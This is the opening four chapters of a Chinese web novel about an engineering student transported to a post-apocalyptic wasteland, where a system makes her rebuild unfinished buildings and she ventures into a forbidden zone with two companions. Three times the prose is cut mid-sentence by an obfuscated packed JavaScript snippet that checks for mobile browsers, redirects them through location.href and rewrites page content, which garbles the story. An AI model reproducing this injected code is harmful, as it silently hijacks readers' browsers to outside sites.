《我用烂尾楼拯救世界》 1. 第1章 “一块馒头,这栋楼归你。” 生锈的施工架旁,三个男人正和对面的女孩讨价还价。他们自称是建筑公司的,身后这片楼盘正要出手。 事实上,那不过是一片水泥空壳,裸露的钢筋朝天空支棱着,风吹过窗洞时还会发出低吼。这些东西根本不值一块馒头,只不过是欺负小姑娘不懂行,狮子大开口罢了。 哪知女孩虽衣着朴素,出手却异常阔绰:“我用这个,换你们一整片楼盘。” 只见她背在身后的手缓缓伸出,掌心俨然是一整瓶纯净水。瓶身在昏沉天光下,泛着一种虚幻的光泽。 纯净水,在这片被遗忘的土地上,是比黄金更硬的通货。三个男人互相看了一眼,眼底的大喜之色几乎要溢出。 他们赚大发了! 因为事实上,这片烂尾楼根本不属于他们。 三人只不过是在此歇脚的流浪汉。一个随口编造的身份,竟能换来这样一瓶水。面前这种冤大头百年难得一遇! 然而他们不知道,站在面前的女孩,也并非看上去那样无害。她不是什么荒芜地的幸存者,而是个不折不扣的全境通缉犯。 叶抒年也觉得自己赚大发了。 两天前,她从一个日子清苦却也安稳的在读研究生,变成了一个被全境通缉的黑户。 醒来时,人已躺在这片废土上,第一眼见到的,是糊在庇护所墙外那张通缉令。上面印着她的大头照,墨迹尚新。 她原以为,此生最大的坎是高考那年,父母听信亲戚谗言,让她用极高的分数,报了那个当时人人说好的土木专业。 未曾想比亏分考入天坑专业更惨的,是研三这年在工地上被落石砸死,一觉醒来穿越到废土世界,还成了个上榜的通缉犯。 叶抒年本想着穿越就穿越吧,至少不用再画图跑现场了。结果下一秒,耳边传来“叮”一声。 【烂尾楼拯救系统已绑定。终极任务:重建文明。】 【新手礼包:破锤×1,安全帽×1。】 风卷着沙砾,吹过旷野。叶抒年握着那把破锤,忽然什么都明白了。 小时候,街边那位算命先生指着她说,这姑娘命里有兴土木、筑根基之象。她当时不懂。 现在,她全懂了。 敢情她就是搬砖的命! 通缉犯无法入住任何一处庇护所,叶抒年不得不躲到这片荒芜之地。 据说这里毗邻昔日的辐射区,草木绝迹,连势力最大的几个政权也公开声明不予庇护。自然地,它成了流民与逃犯的暂栖之所。 这地方听起来挺吓人,危机丛生,寸草不生,但叶抒年别无选择。 她认为自己还算幸运,初到此地,便遇上了这片烂尾楼。只用她穿越前握在手里的那瓶水,就换来了整套楼盘所有权。 天不亡她! 对面三人一手交钱一手交货,从她手中夺过那瓶水,转身就朝荒原深处跑去。 几人身影踉跄,像是生怕她反悔一般,嘴里还喊着:“这楼盘都归你了!” 这交接仪式真草率。不过叶抒年不拘小节。 她望向眼前这片土地。荒野赤裸,见不到一丝绿意,地面也早已干裂,泛着贫瘠的白。而那片用一瓶水换来的、望不到边的烂尾楼群,就沉默地矗立其上。 它们形如骸骨,红土堆积在墙根,血一般地红,而外侧覆着木架与防尘网,恰似缠裹的纱布。 她朝那骸骨走去。 叶抒年独自在楼群间逛了一圈。 一共二十栋。施工程度各有不同,但基本上主体框架完好,且现场散落着大量建筑垃圾,有的或许还可以二次利用。 靠近路边那栋楼完成度最高,尤其是一层,墙体完整,只差最后那点抹面和收边。 虽然叶抒年学的不是这些基础工作,但常年在工地上指导,也耳濡目染学会一些。 她走进去,脚步声在毛坯空间里荡出回响。她在脑海中唤出系统。 “规则是什么?”她问,“你给的终极目标太虚了,有没有更具体的步骤?还有完成小任务,我能得到什么?” 系统静默了一瞬,而后,那个没有情绪的机械音平稳响起: 【当前任务:修复1号楼首层,使其达到稳固标准。】 【任务奖励:基础建材补给箱×1;首层全屋升级为最高安全级别庇护所;新手生存礼包×1。】 听完这些,叶抒年低头,短促地笑了声。 她头一回看见这么建房子的,上层的钢筋还裸露着,就先把底层装修做完,这太荒谬了。 不过一个世界有一个世界的生存之道,她也喜闻乐见。毕竟这里既没有塔吊,也没有搅拌机,连把像样的抹子都难找。真要让她去修高层,她还办不到呢。 她没再多想,弯腰拾掇起来。 活计并不轻松,却也谈不上艰难。修补墙角剥落的抹灰,堵上墙体细微的缝隙,将地面凹凸不平的地方用残存的水泥尽可能抹平。 尘土簌簌地落,汗水很快洇湿了她旧衣服的后背。 她讶异地发现,自己做这些时,可以看到一种异样的视角。 并非用眼,而是某种知觉直接透进砖石与混凝土的肌理之中,哪里虚浮,哪里薄弱,她全都了然于心。 她试着将注意力凝于一处墙体细微的松动,几乎没费什么力气,那处的砂灰便仿佛被无形的手压实,抹匀,稳固了下来。 太阳缓缓滑向地平线,叶抒年收工时,抬头刚好望见一轮红日正悬在荒原尽头,将天地染得灼热而又苍凉。 总算赶在夜晚之前,有了一处能落脚的地方。她来这儿的时日虽短,却已经摸清了一些门道。 比如荒芜地的夜晚非常危险,这危险来自看不见的地方。 不过此刻她不必担心这些。 叶抒年眼前的一切正悄无声息地改变。 墙面逐渐平整,覆上洁净的涂层;地面被温和的原木色覆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958904|193266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盖,光线不知从何处漫起,将整个空间映得明亮而宁静。 没有声响,没有征兆,像一场默然的生长。 刚才的毛坯,正在系统加持下,铺展成精装样品房。 上辈子累死累活,凑不齐首都一间商品房首付,而刚穿越,就全款拿下一整层精装楼房是什么体验? 她已经笑得合不拢嘴。 看来她以前只是生错了世界,这里才是她的故乡啊! 她转了转,发现空间被自然地分成三块,分别是住宅区、生活区和娱乐区。整体风格是简单的,白墙,木色,几处绿意在光影里静默地呼吸。 叶抒年觉得自己要发财了。她心中已然开始盘算,该怎么利用这处庇护所。 如此广阔的空间,可容纳的远不止她一人。眼下不过一层,而往后,她还将拥有整片楼群! 或许能开个民宿。这异想天开的念头让她几乎失笑。 在荒芜之地开民宿,生意能好吗? 可谁说得准呢,往来的人总需要歇脚,而她有地方,有系统。交易,交换,以物易物,用钱省钱,这本身就是一种活法。 正想着,门口传来沉闷的撞击声,像什么沉重的东西摔在地上。 她瞬间警惕起来。虽然刚才还做着开民宿发大财的美梦,但她并没有忘记这是个样的地方。 荒芜地不是什么正经之地,穿行于此的人,多是像她一样的在逃通缉犯。 虽然她这个通缉犯当得有点冤枉,自认为本性还很纯良,但其他人可不好说。 她悄声挪到门边。系统安装的电子眼屏幕亮着微光,映出门外的景象:一个胸口染血的人倒在门前,眼睛睁着,手指正微弱地叩击门板。 看上去不是什么好人。 叶抒年身为土生土长的南方小孩,从小就被父母教导,千万不能给陌生人开门,因为对方很可能是个人贩子。 她刚打算转身离开,眼角余光却瞥见那人攥紧的指缝间,漏出一线奇异的光。定睛看去,是颗石头,正映着将尽的天光,流转出某种她从未见过的斑斓色泽。 这不是她所知世界的产物,而像是这个世界特有的东西。 叶抒年虽听过些关于这片废土的零碎传闻,却并不清楚这个世界的具体运行规则。她尝试过询问系统,可惜系统高冷得很,并不搭理她。 不问系统,问问别人也行。 她拾起那把开局所得的破锤,冰凉的铁质触感从掌心传来。随即,她将手指搭上门锁,轻轻旋开。 来者是个少年,看上去也就十六、七岁的样子,面容还挺清秀,只可惜白净的脸上糊了不少血迹。 门外的人仰着头,与叶抒年四目相接,顿时有了反应,咿咿呀呀张开嘴似乎要说些什么。 但他什么都没能说出口。 因为他看见,眼前这位长相清纯的姐姐突然朝他笑了笑,然后不紧不慢地掏出一柄铁锤。 下一秒,那破锤朝他飞来。 2. 第2章 南方长大的小孩都知道,如果遇到看上去很弱势的陌生人敲门,也不要开门,因为那可能是人贩子的团伙。 叶抒年正是深知这一点。 但她不知道,此刻自己才更像那个人贩子。 因此当林煦言好不容易恢复知觉,费力掀开眼皮时,模糊的视线里是这样一幅画面: 刚才那个朝他抡了一锤的女人,此刻正俯身看着他,唇角甚至还挂着温良的弧度,俨然一派田螺姑娘的善良模样。 他清楚,这都是假象! 天知道,他堂堂终律城执政官唯一的亲弟弟,未来既定的最年轻掌权人,竟会落到这般田地! 仅仅因为在禁区探索时,不慎落入敌对政权的陷阱,他就与亲卫失散,不得不拖着伤在迷宫般的废墟里逃窜。 好不容易逃出来,误打误撞进入这片荒芜地,眼看着在天黑之前找到了一堆钢筋架子,想着先在这地方躲一晚也成,谁知道这里还住了个暴力仙女。 居然拿铁锤做武器?连他们号称用工业暴力文明维护秩序的终律城,都干不出这么头脑简单的事! 林煦言恶狠狠地想着,只见面前的女人突然眨眨眼,递给他一杯水。 从小受到良好素质教育的小少爷下意识接过,喝了一口,顺道说了句谢谢。 非常有礼貌。 “好喝吗?”叶抒年蹲在沙发边,手肘支在膝盖上,托着腮,眼睛一眨不眨地看着他。 “好喝。”林煦言点头。 总觉得有哪里不对。 “你觉不觉得自己身体开始发热了?” 刚喝了不明液体的少年猛然抬头,不可置信地看着“田螺姑娘”。 “你你你……你给我喝了什么?!”他想把杯子扔出去,又怕玻璃杯被砸坏,几番抬手又止。 叶抒年看着他瞬间煞白又迅速涨红的脸,像只无能狂怒的小土狗,心里那点恶趣味得到了极大的满足。 她慢条斯理地从他僵直的手指间取回杯子,放在一旁的小木墩上。 然后依旧单手支着下巴,温柔笑道:“毒药。” 其实是热水。 但她偏要添油加醋:“你喝了我调制的毒药,今后就必须听我的话哦!” 林煦言脑子里“嗡”的一声。 这女人果然没安好心! 他试图向后缩,但被沙发靠背限制了行动,只能徒劳地,与毒螺姑娘拉开一点微不足道的距离。 “凭什么?你知道我是谁吗!我可是终律城执政官唯一的亲弟弟,未来的继任者,你竟然敢使唤我!” 终律城。这个名词好像从别人口中听到过。叶抒年双眼放光,知道自己找对人了。 眼前这个看上去傻傻的、貌似还是个公子哥的少年,应该对这个世界了解不浅。 她伸出食指,隔空轻轻点了点公子哥的胸口,礼貌地回答了他:“凭我给你下了毒。你要是不听我的话,我就不给你解药。不出几天,你就会感觉内脏像是被小火慢慢烤着,然后从眼睛、耳朵、鼻子里,慢慢渗出黑血。这个死相不太好看。” 涉世未深的少年果然被慑住了几分。 倒不是因为真的傻,而是林煦言自出生以来,的确见识过不少,深知这世上,确实有各种令人求生不得求死不能的诡秘之物。 于是本能地,对眼前这位面善心狠的女人,保持了一丝敬畏之心。 能够独自生活在这片荒芜地,还住着这么别有洞天的庇护所,这个女人必然不是等闲之辈。 好在他也不是普通人。 林煦言抿了抿唇,手伸向腰间的储物袋,强作镇定地开口:“好吧,那我用东西跟你换。回响之心,你应该知道它的价值。解药给我,下毒的事……我可以不追究。” 那颗回响之心是他这次出门前精挑细选的,平时宝贝得很,要不是棋逢对手,他还不愿意给呢。 他在袋中摸索了好一阵,眉头越皱越紧。 正当他疑惑,自己的回响之心何去何从的时候,叶抒年突然摊开掌心问:“你说的是这个吗?” 林煦言抬头,一颗流转着暗光的石头静卧在对方手心,胸口一阵滞涩,直觉自己要被气到吐血。 显然他还未察觉到,自己身上原本的伤口已经被人为处理过,喘不过气只是因为某人没有包扎经验,不小心勒得太紧了。 他好半天才挤出一句:“……它怎么在你手里?” “你敲门时,自己攥在手里的。”叶抒年答得理所当然,“我当是住宿费,就收下了。” 少年看着如此厚颜无耻之人,张了张嘴,最终什么也没说,重重倒回沙发里。 林煦言已经没了生气的心力,只在心中祈祷自己服下的毒药不是什么高级稀有物品,回去后还能让哥哥想办法。 一颗回响之心,换来荒芜地的一夜安榻,也不算太亏,就当破财消灾了,何况这里的环境还出乎他意料地优质。 他摸了摸身下软乎乎的沙发,想着回去要让哥哥给自己也弄一张。 “这东西怎么用?” 叶抒年见这位小少爷如此单纯,看上去对自己也没什么威胁,索性不装了,直接虚心求教。 林煦言睁开眼,瞥见她正拿着那颗回响之心,好奇地对着壁炉跳跃的火光端详,脸上满是纯粹的探究,仿佛刚才那个用“七窍流血”恐吓他的人不是她一样。 他转过脸,迟疑了半晌,才说:“你认真的吗?回响之心你都不知道?” “我从小就生活在这片荒芜地,不怎么跟外边的人打交道,以前过路借宿的人也付不起这样的报酬。”叶抒年睁眼说瞎话。 “哦。”这种暗戳戳的恭维之词对小少爷很受用。 他脸色稍微好看了点,轻哼一声,解释道:“异兽你总知道吧,荒芜地每天夜里应该会随机出没不少,虽然都是些中低阶异兽。回响之心是顶级异兽死后凝成的结晶,里面封着它生前的异能,能为人所用,不过次数有限。” “这颗里面是什么异能?”叶抒年表面淡定,内心狂喜。 民宿开张第一天,就收到这种好东西,日后岂不是要赚到手软! 好在对面的小少爷听不见她这段腹诽,仍在为叶抒年崇拜的神情暗喜,仿佛这样一来,他就扳回一局。 “这颗的异能是隐身,每次可持续一小时。”林煦言说道。 他就是靠这个从敌对政权的围堵中脱身的。是的,小少爷出门前精挑细选,带了个最窝囊的保命装。 隐身这种能力在叶抒年过去的世界里不算新鲜,文艺作品里常见,现实里倒没有。她不至于太惊奇,但有总比没有好。 她并不急于验证这东西的能力,而是将石头仔细收好,手伸进衣兜,摸出一颗糖。 原味阿尔卑斯糖,她从原世界带来的,只剩最后五颗。 她剥开糖纸,趁林煦言还在说话,指尖一送,糖就进了他嘴里。接着一掌捂住他的嘴,不让他吐。 这东西在废土世界也是稀罕物,吐了可惜。 “唔?!”林煦言瞪大了眼,双手去推她的手腕。 “这是解药,你不许吐。”叶抒年状似警告。 听到这话,小少爷安分下来,刚才还不断扑腾的手又重新耷拉回沙发上。 两人这么一来二去,也算不打不相识。 林煦言见叶抒年并非真心要取自己性命,便单方面原谅了她先前的冒犯,甚至放飞自我,展现出超强的社交能力。 糖在嘴里化开甜味,也没堵住他的声音。 自打察觉叶抒年对这世界的格局、技术几乎一无所知,他那点好为人师的劲儿就上来了,恨不得把知道的全倒出来。 “如今势力最强的政权当然是我们终律城,执政官就是我亲哥。诶你以后要是想去终律城玩,我可以给你当导游啊!我们那儿可厉害了,有很多庇护所,虽然装修没你这个漂亮,但胜在绝对安全。城里还有钢厂和军备库,很多新研发的武器,你在外边可见不着……” 叶抒年听出来了,这小少爷的话里掺着不少水分。不过从他滔滔不绝的讲述中,她还是大致拼凑出了这个世界的轮廓。 主要的势力有四个:林煦言所属的终律城,此外还有联邦、净尘旅团和灵核秘会。 据说它们的创立者们在灾变初期便各自觉醒,凭借迥异的能力与生存理念,迅速收拢幸存者,筑起了庇护的高墙。 理念相左,彼此间自然免不了摩擦与对峙。 而像她所在的这类荒芜地,在这片废土上如同灰色的补丁,数量众多,恰好嵌在这些彼此警惕的势力之间,成了一道天然缓冲。 荒芜地上危机四伏,尤其当夜色降临,异兽便从废墟与阴影中显现。 它们是旧日灾变的产物,在核辐射的洗礼下,躯体畸形突变,并觉醒了危险的异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958905|193266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能。 这些异兽通常被划分为低阶、中阶、高阶和顶级,等级越高,其力量与威胁便呈几何级数增长,对人类幸存点造成的破坏也愈发惨重。 更棘手的是,中阶以上的异兽往往展现出高度的群体意识。 它们深知这片土地上生存资源的极度有限,因此,与人类争夺生存空间与物资便成了必然。 为了应对这些无处不在的威胁,四大政权都倾力打造了各自的护卫组织。这些战士常年驻守在庇护所的外围防线,抵御异兽侵袭。 然而,异兽并非废土幸存者面临的唯一,甚至不能算是最致命的挑战。当下更令人窒息的威胁,是物资的极端匮乏。 灾变初期搜刮的物资,经过数十年的消耗已近乎枯竭,而大规模的工业生产早在灾变中崩溃,至今未能恢复。近些年,人类的生存环境正变得前所未有的严峻。 由此,禁区这个概念就诞生了。 林煦言的嘴还在叭叭:“禁区原本是灾变的核心区,听说灾变初期就被封锁了,所以里边的物资几乎没被动过,到现在还囤着大批资源。这样的地方一共有二十三处,都用数字编号……” 禁区内的物资对幸存者们和异兽都具有极强的吸引力,这使四大政权和无数的高阶、顶级异兽拥入其中,搜集瓜分资源。 “既然你们四大政权都有各自的依仗,进去搜集物资,也不算太难吧?” 叶抒年忍不住感慨,她要是也能觉醒个什么异能,也想去禁区内观光一下。毕竟这小少爷刚才话里话外,没少炫耀自己在禁区所见的极端风景。 林煦言一听,完全地不认同,赶忙补充道:“难!你是不知道,灾变之后,那些地方的一切,土地、草木、甚至空气,都好像……活了过来。每个禁区都长出了自己的规则。” “规则?”叶抒年来了兴趣。 “嗯,你可以理解为那片土地的脾气。一旦触犯了规则,就会受到惩罚,甚至被禁区杀死。”林煦言说到这里,脸上的少年气都黯淡了不少。 他此次的禁区探索之旅中,就有几名部下因触犯规则不幸身亡。为此他自责了好长一段时间。 叶抒年察觉到他情绪的沉落,将语气放得更缓了些:“如果能摸清规则,遵守它,是不是就能安全来去?” 林煦言摇摇头:“没那么简单。那些规则并不会明明白白在一张纸上列出,只能通过不断试错,用血和命试出来。” 原来是这样。 叶抒年自知刚才无意间触及了小少爷的伤心事,为表歉意,从系统奖励的物资栏里摸出几样零食,一股脑塞进林煦言怀中。 事实证明,叶抒年很会哄人,林煦言终于不再自顾自叨个不停,而是转为嘴里咔嗒咔嗒嚼个不停。 听完这些,叶抒年安慰自己,没事的,她有系统,可以通过修房子来换取物资,禁区那种危险地带,不去就好了。 冒险打怪并不是长久之计,踏实赚钱才是正道! 然而翌日清晨,当她卷起袖子准备继续收拾第二层时,系统界面“叮”一声弹了出来。 【任务目标:整修第二层居住单元。】 【任务所需物资:复合结构钢材。】 【物资获取指引:003号禁区。】 叶抒年傻了。 她突然觉得,自己好像也不是那么需要修复这第二层楼。反正她已经有一处空间不小的庇护所,乱世废土,何必那么上进? 她干笑两声,对着空气诚恳道:“系统你误会了,我就是上来看看,没打算真修。” 说完转身就想溜。 然而下一刻,她眼前忽然弹出巨大的红色字幕。 【警告:宿主绑定系统后,每月需有新的修葺进展,否则将触发严重惩罚!】 叶抒年刚抬起的脚又放下了。 “严重惩罚……是什么?”她有点不好的预感。 【严重惩罚:持续电击一小时。】 叶抒年眼睛瞪圆了:“还能这样强制劳动?那……那完成任务总得有奖励吧?” 【本次任务奖励:废土身份编号。】 【说明:持编号者可进入联合庇护所,以自由人身份交易、居住,通缉令同步撤销。】 叶抒年想起前几天瞥见的那张通缉令,上面的照片拍得实在有失水准。 是时候把那张大头照撤掉了。叶抒年重新卷起了袖子。 3. 第3章 “我不去——!” 林煦言的惨叫响彻整片荒芜地上空。 “去嘛——”叶抒年跟在他身后绕着沙发打转,循循善诱,“反正你家人暂时还没来接你,一直待在这庇护所里不无聊吗?不想去看看003号禁区的自然景观吗?” 这显然是废话。能舒舒服服瘫在软沙发上,谁想硬闯玩命的地方? 可叶抒年被那任务逼得走投无路,只得连哄带拽威逼利诱,拉上这位比自己有经验的后辈同往。 “我们就去里面捡几块复合钢材,用不了多久的,姐姐保证把你给完完整整送回家!” 这话听起来也不太对,似乎越描越黑,林煦言听得崩溃。 他已经筋疲力竭,两腿发软,终于被猫捉耗子般堵在沙发角落,不得不举手投降:“姐,真不是我不肯帮你,003号禁区现在去不得!” “为什么?”叶抒年也追累了,一屁股坐在地上。 “我跟你实话实说吧姐,我这次……就是从003禁区逃出来的。我们终律城这次派去的人,有五分之一都折损在里面,还都是精锐。现在就咱俩进去,别说活着出来,能不能留个全尸都难说。” 林煦言还喘着气,话说出口,自己心里也迟疑了。从刚才叶抒年满屋子捉他的劲头来看,其实他们这个组合不算弱势。 起码叶抒年单凭这体能,万一真在禁区里遇到什么危险,逃跑还是不成问题。 这位姐姐看着纤细,体力却好得惊人。 要知道,他自小接受严苛训练,独自对付十来只中阶异兽也不在话下,刚才竟然被她追得无处可躲。 可惜叶抒年并不知他这番掂量,还以为他是担心自己拖后腿。 她低着头沉思对策。 眼下这情况的确不宜硬闯禁区,一来她初到这个世界,对禁区规则一无所知,除了个没什么用、还不怎么搭理人的系统,几乎毫无自保能力。 再者,她也实在没道理强拉别人去送死。帮是情分,不帮是本分。 但这个材料也不能不找,还得从长计议…… “你……怎么不说话了?”林煦言看着突然陷入沉默的叶抒年,有点后悔自己刚才夸大其词,于是坦白道,“其实我说现在不能去,主要是因为,那个人此刻也在003号禁区。” “那个人?”叶抒年从思绪里抽身,抬眼看他。 林煦言别过脸,像是难以启齿。他不大想承认这事,可话既已开了头,再吞回去反倒更显得没出息。 他索性叹了口气,说:“我们这次在003号禁区损失惨重,不光是碰上了对家。更麻烦的是,撞见了检察官。” “检察官是谁?”叶抒年依旧虚心好学。 有了不知道何为回响之心的先例,林煦言已经对她这“十万个为什么”的状态见怪不怪。 他深吸一口气,又长叹一口气,万分悲壮地摇头晃脑:“问得好。检察官,是个冷酷无情无恶不作横行霸道逍遥法外的,大坏蛋!” 好一个冷酷无情无恶不作横行霸道逍遥法外的,大坏蛋。 叶抒年心中倒没什么波澜,听这描述,感觉像老旧电影里的邪恶大反派。但这种人物,一般只会与正义的主角殊死搏斗,舞不到她这种一心向钱的平头老百姓面前。 “那么,这个检察官到底什么来头?”叶抒年勤学好问。 “问得好。”林煦言故作深沉,“他不属于四大政权中的任何一方,是个体户,独来独往。不过有小道消息,说他曾经有个形影不离的搭档,后来不知道出于什么原因,散伙了。” 看来是个鳏夫。叶抒年淡淡地想。 “检察官这个名头也不是白叫的。”林煦言撇了撇嘴,语气里混着不甘与些许不易察觉的忌惮,“经过四大政权的轮番观察,我们发现,这人恐怕觉醒了某种和禁区相关的能力,居然可以在禁区里穿行自如,嘿你说气不气人?!” 小少爷一想到这件事就来气。前两日他在禁区里步步惊心,生怕行差踏错,一抬头看见那个男人如入无人之境,像只苍蝇一样来去自如。 “提问。”叶抒年同学举起了小手。 “准了。” “他什么时候离开003号禁区?” 叶抒年不死心。听林煦言这描述,003号禁区目前最可怕的,不是那些看不见的规则,而是这个摸得着的检察官。既然如此,等那检察官走了再去,不就行了? 林煦言一眼看穿她的算盘,无奈摊手:“这我也说不准。” 紧接着,他话锋一转:“不过……如果你真急着要进去,倒也不是完全没法子。” 叶抒年抬眼看他。 “我可以再拉个人组队,你想要什么物资先告诉她。等进了禁区,我们直奔目标。那块地方的规则,我还记得个大概,只要不撞上那个瘟神,一天之内应该能来回。” 话音刚落,他肩上就挨了不轻不重的一巴掌。没等他呼痛,叶抒年的声音已经带着笑意响起来:“好弟弟,真靠谱!” 林煦言摸了摸肩膀,莫名觉得,自己身后仿佛长了条看不见的尾巴,正晃个不停。 事实证明,终律城这位未来的继承人,办事效率高得惊人。早上才敲定的计划,不到中午,庇护所的门就被叩响了。 虽然也不知道为什么,本该来接他回家的护卫迟迟未到,这位据称是他“私人人脉”的高手,却来得飞快。 门开了。叶抒年愣在原地。 门外是望不到边的砂砾荒原,而荒原的风中,立着一个女人。 她身量高挑,一头蓝绿渐变挑染的长发被野风撩起,在灰黄天地间划出一道惊心动魄的亮色。 这发型太炫了!叶抒年眼睛发直。 “你好。”女人先开了口。她的目光越过叶抒年,落在屋内沙发上的那条人身上,确认后才转回来,声音干脆,“阮天清。林煦言找来的打手。” 打手。 叶抒年花了片刻,才把这两个字和眼前这张过分好看的脸对应上。 她慌忙上前,想接对方肩上那只近一米长的越野包,手刚搭上背带,整个人就被那沉甸甸的分量拽得一个趔趄。 阮天清手臂一抬,轻轻巧巧地将包拎了回去,动作稳得像没发生过任何事。 “我来就行。”她说。 “来得这么快?”少年从沙发背后探出半个脑袋,腮帮子还鼓着,里面是叶抒年施舍的小零食。 “前段时间弄了辆车。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958906|193266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”阮天清没多解释,将肩上的长包卸在墙角,“直接说吧,要找什么?” “复合结构钢材。”叶抒年本着服务好每一位客人的精神,递过一杯水。 饶是阮天清这样在废土行走多年、名字常年悬在赏金猎人榜首的人,见过不少珍贵物资,此刻接过那杯水时,也难免多看了叶抒年几眼。 “东西不难找,现在出发,天黑前能回。” 现在?叶抒年看了眼门外无垠的荒原。 她暂时没有交通工具,光凭借两条腿,鞋底磨冒烟也未必能到。 但十分钟后,当她坐在阮天清的改装版摩托车后座上时,她的一切疑云都迎风而解。 是真的迎风。 改装摩托的引擎在荒原上嘶吼,风如实质般砸在脸上。叶抒年眯起眼,眼前只有飞速后退的、干裂的大地,偶尔一两丛枯草闪过。她不得不收紧手臂,环住前座人的腰。 抛开发丝被风吹得满天乱飞不谈,坐摩托车还是很爽的。 只可惜身后总传来噪音。 “慢点——嗨嗨?姐姐们等等我啊——!” 由于摩托车只有两个座位,林煦言被阮天清无情抛下,身边只有那辆仅剩的山地车。此刻,他正在尾烟里拼命蹬着踏板。 一眨眼的功夫,一行三人已经站在了一片深绿之中。 叶抒年抬起头,望不到天。 目光所及处,森林悬浮于空中。树冠与棕榈交错,形成一片深邃的冷绿帷幕。其下,建筑轮廓参差,窗中透出点点暖光,光线自枝叶缝隙间倾泻,悄然分割着静谧。 003号禁区,到了。 说来也怪,这里分明是旧日灾变的起点之一,此刻却比外头那片荒芜更显得安宁,甚至像一处被遗忘的庇护之地。 “我们已经进入禁区范围了。”阮天清停下脚步,声音不高,却清晰,“接下来每一步,都要谨记以下几条规则。” 她特意侧过脸,看了眼叶抒年。对方脸上没有预想中的慌乱,只有一种专注的静。她转回目光。 “第一,在山洞前听见回声,不要回头,也不要回应。” “第二,浓雾弥漫时,要保持禁止。” “第三,站在被灯塔照射的区域内时,要立即闭上眼。” “第四,当影子做出与你不同的动作时,要立刻模仿影子的动作。” 她顿了顿,又道:“目前已知的就这些。要是触犯了别的、还没人试出来的规则,就抓住我的手。” “其实,也可以用我给你的宝贝。”林煦言悄悄凑到叶抒年耳边说。 那颗回响之心的隐身技能,不单单只是让人看不见自己,还能让整片禁区,也感知不到自己的存在。 叶抒年立即明白了他的意思,眼睫微动,朝他极轻地点了下头。 现在她有了多重安全保障,这趟探索之旅的危险性看上去似乎小了许多。 然而下一秒,她突然将目光转向斜后方。 那片林子太密,绿意浓得化不开,可以轻易掩去人的踪迹。 偏偏她这个人生来敏感,尤其是对他人注视的目光。 从她们双足踏入这片土地的第一刻起,那道目光就落了下来,从未移开。 4. 第4章 “怎么了?” 阮天清第一个察觉到叶抒年的异样,顺着她的目光望去,只看见密不透风的林子。 刚才那种如影随形的注视感,突然间消失了。 叶抒年摇了摇头:“没事。” 她笃定,那并不是她的错觉,但在这片规则怪异的土地上,本就不该用常理揣度一切。她没有深究,只是将那份未散的异样感按回心底。 有阮天清这样经验老道的赏金猎人引路,加上几分运气,这趟深入禁区的路途比预想中顺畅。沿途并未触发任何已知的规则,不过半小时,三人已站在一座废弃工厂前。 人站在外头,还能依稀看出工厂旧日的辉煌,只不过如今,藤蔓与恣意生长的绿植早已覆满外墙,几乎吞噬了原本的轮廓。更有一株巨树枝干从厂房屋顶破出,盘虬卧龙,将天光割裂成碎影。 人站在这样的自然面前,显得格外渺小。 但叶抒年并无怯意。 她仰头望着这座被自然缓慢收回的钢铁躯壳,目光里反而透出一种欣喜的专注。曾经在工地与楼宇间穿梭的经验,让她本能地审视着这里的一切。 “这厂里居然还剩这么多原料?”她走近几步,指尖拂过覆着苔藓的金属表面,“这么多年,一直没人来动过?” 这里的许多材料,与她原本世界里的相去不远,虽不尖端,用于建筑却已足够。 更令她惊奇的是,在经年累月与此地共生后,其中竟还混杂了一些她从未见过的新材质,泛着隐隐的哑光。 出于上辈子工程师的本能,叶抒年已经开始默默盘算这些材料的用途,觉得或许能将庇护所改造得更像样些。 “这类工厂每个禁区里都有,幸存者大规模探索也就是近两年的事,一时半会儿搬不完的。”林煦言走在最后,一边搭话,一边警惕地扫视四周。 这一路走来,他心底始终有根弦绷着。 太顺了。 没遇到异兽,没触发任何规则,和他前两天在禁区里的险象环生截然不同。这只有两种可能:要么运气好到反常,要么…… 他强行控制自己,不去想心中那个呼之欲出的可能性,用对话来转移自己的注意力。 “你来一趟机会难得,可以一次性多带点物资回去。”他对叶抒年道。 这话提醒了叶抒年。她在脑海中试着呼唤那个许久没有动静的系统。静默持续了数秒,就在她以为不会得到回应时,那道冰冷的机械音突兀地响起: “宿主,请讲。” “你好歹是个系统,除了催我盖房子,就没点别的用处了?”叶抒年看着满地的材料,心里涌起一种不搬空就亏了的急切。 【系统储物功能已开启。】 眼前闪过一行小字,随后再无回应。叶抒年默默腹诽这系统的惜字如金,手下却不停,开始快速收取这些材料。 另外俩人自然看不到叶抒年这边的过程,在他们眼里,这景象着实有些诡异:一个满脸奸笑的女孩在工厂里跑来跑去,身影掠过之处,堆积如山的材料便凭空消失,地面迅速变得空旷。 